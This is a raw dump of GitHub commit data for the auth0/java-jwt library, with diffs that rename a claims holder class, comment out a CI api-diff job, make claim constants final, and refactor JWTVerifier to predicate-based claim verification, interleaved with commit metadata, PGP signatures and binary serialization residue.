         UserPojo user1 = new UserPojo("Michael", 1);
         UserPojo user2 = new UserPojo("Lucas", 2);
-        ClaimsHolder holder = holderFor("users", Arrays.asList(user1, user2));
+        PayloadClaimsHolder holder = holderFor("users", Arrays.asList(user1, user2));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -274,18 +273,17 @@ public void shouldSerializeCustomListOfObject() throws Exception {
     @Test
     public void shouldSerializeCustomObject() throws Exception {
         UserPojo user = new UserPojo("Michael", 1);
-        ClaimsHolder holder = holderFor("users", user);
+        PayloadClaimsHolder holder = holderFor("users", user);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
         assertThat(writer.toString(), is(equalTo("{\"users\":{\"name\":\"Michael\",\"id\":1}}")));
     }
 
-    @SuppressWarnings("Convert2Diamond")
-    private ClaimsHolder holderFor(String key, Object value) {
-        Map<String, Object> map = new HashMap<String, Object>();
+    private PayloadClaimsHolder holderFor(String key, Object value) {
+        Map<String, Object> map = new HashMap<>();
         map.put(key, value);
-        return new ClaimsHolder(map);
+        return new PayloadClaimsHolder(map);
     }
 
 }
\ No newline at end of fileueu(20fd5b730d57290ee0af827dafb335c2ac5d7dd1}(sha(20fd5b730d57290ee0af827dafb335c2ac5d7dd1node_idEC_kwDOAQtL0doAKDIwZmQ1YjczMGQ1NzI5MGVlMGFmODI3ZGFmYjMzNWMyYWM1ZDdkZDEcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-09-01T13:35:32Zu	committer}(j[  GitHubj[  noreply@github.comj[  2022-09-01T13:35:32Zumessage/Merge branch 'master' into check-for-null-tokentree}(jx[  (d467fae8397f8ea8a92945875ef4c0d4af09b06burl^https://api.github.com/repos/auth0/java-jwt/git/trees/d467fae8397f8ea8a92945875ef4c0d4af09b06buj[  `https://api.github.com/repos/auth0/java-jwt/git/commits/20fd5b730d57290ee0af827dafb335c2ac5d7dd1
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjELUkCRBK7hj4Ov3rIwAAk38IABZLOq5cgQlzE4QTg0vkMt+T
qyI/d/PNQddB4+/x/oahne9sR2zF30yDNqKFOn5QtHN7z3SKidNek5zk+X5trkrX
YgCStz466TPJa1CfV+JmHXvPcwTRvOnJR+nb0SAE/S7Wh7DzhgBmH5runv+CM34l
qpEYrRRkbVwSnFz6DO4sU259GQy4jynwUyaHXumxx6UeVZpecuo4SuiNP1NQ3jQq
Vz2IiAs/fOkXuxk6+H9WXK+MmzYlmnA2j16OcAFgGvCBa0OLRU86HC6KHisea6eu
d2tGob4005dB+VkUA6ds03zbGx93rJucP21+83mi7IOlFhvsQ70R6A7Wf9VUZMw=
=n+9G
-----END PGP SIGNATURE-----
payloadX3  tree d467fae8397f8ea8a92945875ef4c0d4af09b06b
parent f530b268354926792461926a0eb8d810be01583b
parent fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6
author Jim Anderson <jim.anderson@auth0.com> 1662039332 -0500
committer GitHub <noreply@github.com> 1662039332 -0500

Merge branch 'master' into check-for-null-tokenuuj[  \https://api.github.com/repos/auth0/java-jwt/commits/20fd5b730d57290ee0af827dafb335c2ac5d7dd1html_urlQhttps://github.com/auth0/java-jwt/commit/20fd5b730d57290ee0af827dafb335c2ac5d7dd1comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/20fd5b730d57290ee0af827dafb335c2ac5d7dd1/commentsj~[  }(login
jimmyjamesidJ7 jz[  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j[  'https://api.github.com/users/jimmyjamesj[  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj[  }(j[  web-flowj[  J/jz[  MDQ6VXNlcjE5ODY0NDQ3j[  4https://avatars.githubusercontent.com/u/19864447?v=4j[  h3j[  %https://api.github.com/users/web-flowj[  https://github.com/web-flowj[  /https://api.github.com/users/web-flow/followersj[  <https://api.github.com/users/web-flow/following{/other_user}j[  5https://api.github.com/users/web-flow/gists{/gist_id}j[  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j[  3https://api.github.com/users/web-flow/subscriptionsj[  *https://api.github.com/users/web-flow/orgsj[  +https://api.github.com/users/web-flow/reposj[  6https://api.github.com/users/web-flow/events{/privacy}j[  5https://api.github.com/users/web-flow/received_eventsj[  Userj[  uparents](}(jx[  (f530b268354926792461926a0eb8d810be01583bj[  \https://api.github.com/repos/auth0/java-jwt/commits/f530b268354926792461926a0eb8d810be01583bj[  Qhttps://github.com/auth0/java-jwt/commit/f530b268354926792461926a0eb8d810be01583bu}(jx[  (fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6j[  \https://api.github.com/repos/auth0/java-jwt/commits/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6j[  Qhttps://github.com/auth0/java-jwt/commit/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6uestats}(totalK@	additionsK 	deletionsK ufiles](}(jx[  (73f58ddbf2869d87213816dd820f282bf8b1b38afilename.circleci/config.ymlstatusmodifiedj[  Kj[  KchangesK*blob_urlfhttps://github.com/auth0/java-jwt/blob/20fd5b730d57290ee0af827dafb335c2ac5d7dd1/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/20fd5b730d57290ee0af827dafb335c2ac5d7dd1/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=20fd5b730d57290ee0af827dafb335c2ac5d7dd1patchXB  @@ -22,14 +22,14 @@ commands:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
       - codecov/upload
-  run-api-diff:
-    steps:
-      # run apiDiff task
-      - run: ./gradlew apiDiff
-      - store_artifacts:
-          path: lib/build/reports/apiDiff/apiDiff.txt
-      - store_artifacts:
-          path: lib/build/reports/apiDiff/apiDiff.html
+  # run-api-diff:
+  #   steps:
+  #     # run apiDiff task
+  #     - run: ./gradlew apiDiff
+  #     - store_artifacts:
+  #         path: lib/build/reports/apiDiff/apiDiff.txt
+  #     - store_artifacts:
+  #         path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -41,21 +41,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  api-diff:
-    docker:
-      - image: openjdk:11.0-jdk
-    steps:
-      - checkout-and-build
-      - run-api-diff
-    environment:
-      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-      TERM: dumb
+  # api-diff:
+  #   docker:
+  #     - image: openjdk:11.0-jdk
+  #   steps:
+  #     - checkout-and-build
+  #     - run-api-diff
+  #   environment:
+  #     GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+  #     _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+  #     TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-  api-diff:
-    jobs:
-      - api-diff
+  # api-diff:
+  #   jobs:
+  #     - api-diffu}(jx[  (1107f313a307435263d4cbd9c476d14463d5decaj[  1lib/src/main/java/com/auth0/jwt/HeaderParams.javaj[  modifiedj[  Kj[  Kj[  Kj[  https://github.com/auth0/java-jwt/blob/20fd5b730d57290ee0af827dafb335c2ac5d7dd1/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaj[  https://github.com/auth0/java-jwt/raw/20fd5b730d57290ee0af827dafb335c2ac5d7dd1/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaj[  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=20fd5b730d57290ee0af827dafb335c2ac5d7dd1j[  X  @@ -10,20 +10,20 @@ private HeaderParams() {}
     /**
      * The algorithm used to sign a JWT.
      */
-    public static String ALGORITHM = "alg";
+    public static final String ALGORITHM = "alg";
 
     /**
      * The content type of the JWT.
      */
-    public static String CONTENT_TYPE = "cty";
+    public static final String CONTENT_TYPE = "cty";
 
     /**
      * The media type of the JWT.
      */
-    public static String TYPE = "typ";
+    public static final String TYPE = "typ";
 
     /**
      * The key ID of a JWT used to specify the key for signature validation.
      */
-    public static String KEY_ID = "kid";
+    public static final String KEY_ID = "kid";
 }u}(jx[  (c55097169a2b3b3a28b61467cafc815691308e38j[  5lib/src/main/java/com/auth0/jwt/RegisteredClaims.javaj[  modifiedj[  Kj[  Kj[  Kj[  https://github.com/auth0/java-jwt/blob/20fd5b730d57290ee0af827dafb335c2ac5d7dd1/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javaj[  https://github.com/auth0/java-jwt/raw/20fd5b730d57290ee0af827dafb335c2ac5d7dd1/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javaj[  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.java?ref=20fd5b730d57290ee0af827dafb335c2ac5d7dd1j[  X  @@ -13,43 +13,43 @@ private RegisteredClaims() {
      * The "iss" (issuer) claim identifies the principal that issued the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1">Section 4.1.1</a>
      */
-    public static String ISSUER = "iss";
+    public static final String ISSUER = "iss";
 
     /**
      * The "sub" (subject) claim identifies the principal that is the subject of the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2">Section 4.1.2</a>
      */
-    public static String SUBJECT = "sub";
+    public static final String SUBJECT = "sub";
 
     /**
      * The "aud" (audience) claim identifies the recipients that the JWT is intended for.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.3">Section 4.1.3</a>
      */
-    public static String AUDIENCE = "aud";
+    public static final String AUDIENCE = "aud";
 
     /**
      * The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be
      * accepted for processing.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.4">Section 4.1.4</a>
      */
-    public static String EXPIRES_AT = "exp";
+    public static final String EXPIRES_AT = "exp";
 
     /**
      * The "nbf" (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.5">Section 4.1.5</a>
      */
-    public static String NOT_BEFORE = "nbf";
+    public static final String NOT_BEFORE = "nbf";
 
     /**
      * The "iat" (issued at) claim identifies the time at which the JWT was issued.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.6">Section 4.1.6</a>
      */
-    public static String ISSUED_AT = "iat";
+    public static final String ISSUED_AT = "iat";
 
     /**
      * The "jti" (JWT ID) claim provides a unique identifier for the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.7">Section 4.1.7</a>
      */
-    public static String JWT_ID = "jti";
+    public static final String JWT_ID = "jti";
 
 }ueu(0029a6363f89c1af43db64a76a002e8169c2656c}(sha(0029a6363f89c1af43db64a76a002e8169c2656cnode_idEC_kwDOAQtL0doAKDAwMjlhNjM2M2Y4OWMxYWY0M2RiNjRhNzZhMDAyZTgxNjljMjY1NmMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-25T10:55:50Zu	committer}(j\  GitHubj
\  noreply@github.comj\  2022-03-25T10:55:50ZumessageXg  [SDK-3155] Predicate based Claim verification (#562)

* Rename claims -> expectedClaims in verifier for clarity

* added method to validate claim value using predicate

* Using Predicates for Verification (#560)

* Use predicates for verification

* Code review changes

* Add additional tests for predicate based verification

* Fixed Lint issuestree}(j\  (a9f79b74ef7898cb96d75dc78499256ec44fad06url^https://api.github.com/repos/auth0/java-jwt/git/trees/a9f79b74ef7898cb96d75dc78499256ec44fad06uj\  `https://api.github.com/repos/auth0/java-jwt/git/commits/0029a6363f89c1af43db64a76a002e8169c2656c
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiPZ+2CRBK7hj4Ov3rIwAAhBEIAJJkYzO24bWtvk/QsTU0TIEN
lhMc5dc6GSAo3VxpzpduT7OPTJ4Lv2rlKC2OmhTkcsjGjKhBAIvwO7rmlFYAV1u0
IwofC+IcBSuVzSYaySgZwGbbcqn4H+JALH/B70Dv2InKOAUBXAOnt7uJB7LPoHey
YaTto9D296YccXKbLGcB2tDtmEGn8fNujCwx7hE72SCrI6PfuNdl8jZ1Wgs1XYpr
vUtcGfn415dY1ThJasT3o9xB0K61wx0Zl9kvHzxPwG1HQZfgRyensBI/3TQag0bn
S7EacW4DIwk+KT6iVSZAKT/9GAW3hJLri3P3n2VLt26ejv6wF2BKI9pY0vQ7PRQ=
=9atD
-----END PGP SIGNATURE-----
payloadX9  tree a9f79b74ef7898cb96d75dc78499256ec44fad06
parent 75833e6d422206ec64e6215bdf0e940aa1c16239
author Poovamraj T T <poovamraj@gmail.com> 1648205750 +0530
committer GitHub <noreply@github.com> 1648205750 +0100

[SDK-3155] Predicate based Claim verification (#562)

* Rename claims -> expectedClaims in verifier for clarity

* added method to validate claim value using predicate

* Using Predicates for Verification (#560)

* Use predicates for verification

* Code review changes

* Add additional tests for predicate based verification

* Fixed Lint issuesuuj\  \https://api.github.com/repos/auth0/java-jwt/commits/0029a6363f89c1af43db64a76a002e8169c2656chtml_urlQhttps://github.com/auth0/java-jwt/commit/0029a6363f89c1af43db64a76a002e8169c2656ccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0029a6363f89c1af43db64a76a002e8169c2656c/commentsj	\  }(login	poovamrajidJ j\  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j\  &https://api.github.com/users/poovamrajj)\  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj\  }(j.\  web-flowj0\  J/j\  MDQ6VXNlcjE5ODY0NDQ3j2\  4https://avatars.githubusercontent.com/u/19864447?v=4j4\  h3j\  %https://api.github.com/users/web-flowj)\  https://github.com/web-flowj7\  /https://api.github.com/users/web-flow/followersj9\  <https://api.github.com/users/web-flow/following{/other_user}j;\  5https://api.github.com/users/web-flow/gists{/gist_id}j=\  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j?\  3https://api.github.com/users/web-flow/subscriptionsjA\  *https://api.github.com/users/web-flow/orgsjC\  +https://api.github.com/users/web-flow/reposjE\  6https://api.github.com/users/web-flow/events{/privacy}jG\  5https://api.github.com/users/web-flow/received_eventsjI\  UserjK\  uparents]}(j\  (75833e6d422206ec64e6215bdf0e940aa1c16239j\  \https://api.github.com/repos/auth0/java-jwt/commits/75833e6d422206ec64e6215bdf0e940aa1c16239j)\  Qhttps://github.com/auth0/java-jwt/commit/75833e6d422206ec64e6215bdf0e940aa1c16239uastats}(totalMO	additionsM	deletionsM4ufiles](}(j\  (8b14ff86411021ab19f846c3dc1a913efd6648acfilename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedje\  Kjf\  KьchangesMnblob_urlhttps://github.com/auth0/java-jwt/blob/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=0029a6363f89c1af43db64a76a002e8169c2656cpatchX`  @@ -14,6 +14,7 @@
 import java.time.Instant;
 import java.time.temporal.ChronoUnit;
 import java.util.*;
+import java.util.function.BiPredicate;
 
 /**
  * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format,
@@ -25,17 +26,12 @@
  */
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
-    final Map<String, Object> claims;
-    private final Clock clock;
+    final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
     private final JWTParser parser;
 
-    static final String AUDIENCE_EXACT = "AUDIENCE_EXACT";
-    static final String AUDIENCE_CONTAINS = "AUDIENCE_CONTAINS";
-
-    JWTVerifier(Algorithm algorithm, Map<String, Object> claims, Clock clock) {
+    JWTVerifier(Algorithm algorithm, Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks) {
         this.algorithm = algorithm;
-        this.claims = Collections.unmodifiableMap(claims);
-        this.clock = clock;
+        this.expectedChecks = Collections.unmodifiableMap(expectedChecks);
         this.parser = new JWTParser();
     }
 
@@ -55,43 +51,54 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
      */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
-        private final Map<String, Object> claims;
+        private final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
         private long defaultLeeway;
+        private final Map<String, Long> customLeeways;
         private boolean ignoreIssuedAt;
+        private Clock clock;
 
         BaseVerification(Algorithm algorithm) throws IllegalArgumentException {
             if (algorithm == null) {
                 throw new IllegalArgumentException("The Algorithm cannot be null.");
             }
 
             this.algorithm = algorithm;
-            this.claims = new HashMap<>();
+            this.expectedChecks = new LinkedHashMap<>();
+            this.customLeeways = new HashMap<>();
             this.defaultLeeway = 0;
         }
 
         @Override
         public Verification withIssuer(String... issuer) {
-            requireClaim(PublicClaims.ISSUER, isNullOrEmpty(issuer) ? null : Arrays.asList(issuer));
+            List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
+            checkIfNeedToRemove(PublicClaims.ISSUER, value, ((claim, decodedJWT) -> {
+                if (value == null || !value.contains(claim.asString())) {
+                    throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withSubject(String subject) {
-            requireClaim(PublicClaims.SUBJECT, subject);
+            checkIfNeedToRemove(PublicClaims.SUBJECT, subject, (claim, decodedJWT) -> subject.equals(claim.asString()));
             return this;
         }
 
         @Override
         public Verification withAudience(String... audience) {
-            claims.remove(AUDIENCE_CONTAINS);
-            requireClaim(AUDIENCE_EXACT, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
+            List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
+            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
+                    assertValidAudienceClaim(decodedJWT.getAudience(), value, true)));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
-            claims.remove(AUDIENCE_EXACT);
-            requireClaim(AUDIENCE_CONTAINS, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
+            List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
+            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
+                    assertValidAudienceClaim(decodedJWT.getAudience(), value, false)));
             return this;
         }
 
@@ -105,21 +112,21 @@ public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
         @Override
         public Verification acceptExpiresAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.EXPIRES_AT, leeway);
+            customLeeways.put(PublicClaims.EXPIRES_AT, leeway);
             return this;
         }
 
         @Override
         public Verification acceptNotBefore(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.NOT_BEFORE, leeway);
+            customLeeways.put(PublicClaims.NOT_BEFORE, leeway);
             return this;
         }
 
         @Override
         public Verification acceptIssuedAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.ISSUED_AT, leeway);
+            customLeeways.put(PublicClaims.ISSUED_AT, leeway);
             return this;
         }
 
@@ -131,49 +138,54 @@ public Verification ignoreIssuedAt() {
 
         @Override
         public Verification withJWTId(String jwtId) {
-            requireClaim(PublicClaims.JWT_ID, jwtId);
+            checkIfNeedToRemove(PublicClaims.JWT_ID, jwtId, ((claim, decodedJWT) -> jwtId.equals(claim.asString())));
             return this;
         }
 
         @Override
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, NonEmptyClaim.getInstance());
+            withClaim(name, ((claim, decodedJWT) -> {
+                if (claim instanceof NullClaim) {
+                    throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", name));
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asBoolean())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Integer value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asInt())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Long value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asLong())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Double value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asDouble())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, String value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asString())));
             return this;
         }
 
@@ -187,28 +199,37 @@ public Verification withClaim(String name, Instant value) throws IllegalArgument
             assertNonNull(name);
             // Since date-time claims are serialized as epoch seconds,
             // we need to compare them with only seconds-granularity
-            requireClaim(name, value != null ? value.truncatedTo(ChronoUnit.SECONDS) : null);
+            checkIfNeedToRemove(name, value,
+                    ((claim, decodedJWT) -> value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
+            return this;
+        }
+
+        @Override
+        public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate)
+                throws IllegalArgumentException {
+            assertNonNull(name);
+            checkIfNeedToRemove(name, predicate, predicate);
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, String... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Long... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
@@ -225,59 +246,122 @@ public JWTVerifier build() {
          * @return a new JWTVerifier instance with a custom {@link java.time.Clock}
          */
         public JWTVerifier build(Clock clock) {
-            addLeewayToDateClaims();
-            return new JWTVerifier(algorithm, claims, clock);
+            this.clock = clock;
+            addMandatoryClaimChecks();
+            return new JWTVerifier(algorithm, expectedChecks);
         }
 
-        private void assertPositive(long leeway) {
-            if (leeway < 0) {
-                throw new IllegalArgumentException("Leeway value can't be negative.");
+        /**
+         * Fetches the Leeway set for claim or returns the {@link BaseVerification#defaultLeeway}.
+         *
+         * @param name Claim for which leeway is fetched
+         * @return Leeway value set for the claim
+         */
+        public long getLeewayFor(String name) {
+            return customLeeways.getOrDefault(name, defaultLeeway);
+        }
+
+        private void addMandatoryClaimChecks() {
+            long expiresAtLeeway = getLeewayFor(PublicClaims.EXPIRES_AT);
+            long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
+            long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
+
+            checkIfNeedToRemove(PublicClaims.EXPIRES_AT, expiresAtLeeway, ((claim, decodedJWT) ->
+                    assertValidInstantClaim(claim.asInstant(), expiresAtLeeway, true)));
+            checkIfNeedToRemove(PublicClaims.NOT_BEFORE, notBeforeLeeway, ((claim, decodedJWT) ->
+                    assertValidInstantClaim(claim.asInstant(), notBeforeLeeway, false)));
+            if (!ignoreIssuedAt) {
+                checkIfNeedToRemove(PublicClaims.ISSUED_AT, issuedAtLeeway, ((claim, decodedJWT) ->
+                        assertValidInstantClaim(claim.asInstant(), issuedAtLeeway, false)));
             }
         }
 
-        private void assertNonNull(String name) {
-            if (name == null) {
-                throw new IllegalArgumentException("The Custom Claim's name can't be null.");
+        private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimValue) {
+            List<Object> claimArr;
+            Object[] claimAsObject = claim.as(Object[].class);
+
+            // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
+            if (expectedClaimValue instanceof Long[]) {
+                // convert Integers to Longs for comparison with equals
+                claimArr = new ArrayList<>(claimAsObject.length);
+                for (Object cao : claimAsObject) {
+                    if (cao instanceof Integer) {
+                        claimArr.add(((Integer) cao).longValue());
+                    } else {
+                        claimArr.add(cao);
+                    }
+                }
+            } else {
+                claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
             }
+            List<Object> valueArr = Arrays.asList(expectedClaimValue);
+            return claimArr.containsAll(valueArr);
         }
 
-        private void addLeewayToDateClaims() {
-            if (!claims.containsKey(PublicClaims.EXPIRES_AT)) {
-                claims.put(PublicClaims.EXPIRES_AT, defaultLeeway);
+        private boolean assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
+            Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
+            if (shouldBeFuture) {
+                return assertInstantIsFuture(claimVal, leeway, now);
+            } else {
+                return assertInstantIsPast(claimVal, leeway, now);
             }
-            if (!claims.containsKey(PublicClaims.NOT_BEFORE)) {
-                claims.put(PublicClaims.NOT_BEFORE, defaultLeeway);
+        }
+
+        private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
+            if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
+                throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
             }
-            if (ignoreIssuedAt) {
-                claims.remove(PublicClaims.ISSUED_AT);
-                return;
+            return true;
+        }
+
+        private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+            if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
+                throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
+            }
+            return true;
+        }
+
+        private boolean assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
+            if (audience == null || (shouldContainAll && !audience.containsAll(values))
+                    || (!shouldContainAll && Collections.disjoint(audience, values))) {
+                throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
             }
-            if (!claims.containsKey(PublicClaims.ISSUED_AT)) {
-                claims.put(PublicClaims.ISSUED_AT, defaultLeeway);
+            return true;
+        }
+
+        private void assertPositive(long leeway) {
+            if (leeway < 0) {
+                throw new IllegalArgumentException("Leeway value can't be negative.");
+            }
+        }
+
+        private void assertNonNull(String name) {
+            if (name == null) {
+                throw new IllegalArgumentException("The Custom Claim's name can't be null.");
             }
         }
 
-        private void requireClaim(String name, Object value) {
+        private void checkIfNeedToRemove(String name, Object value, BiPredicate<Claim, DecodedJWT> predicate) {
             if (value == null) {
-                claims.remove(name);
+                expectedChecks.remove(name);
                 return;
             }
-            claims.put(name, value);
+            expectedChecks.put(name, predicate);
         }
-    }
 
-    private static boolean isNullOrEmpty(String[] args) {
-        if (args == null || args.length == 0) {
-            return true;
-        }
-        boolean isAllNull = true;
-        for (String arg : args) {
-            if (arg != null) {
-                isAllNull = false;
-                break;
+        private boolean isNullOrEmpty(String[] args) {
+            if (args == null || args.length == 0) {
+                return true;
+            }
+            boolean isAllNull = true;
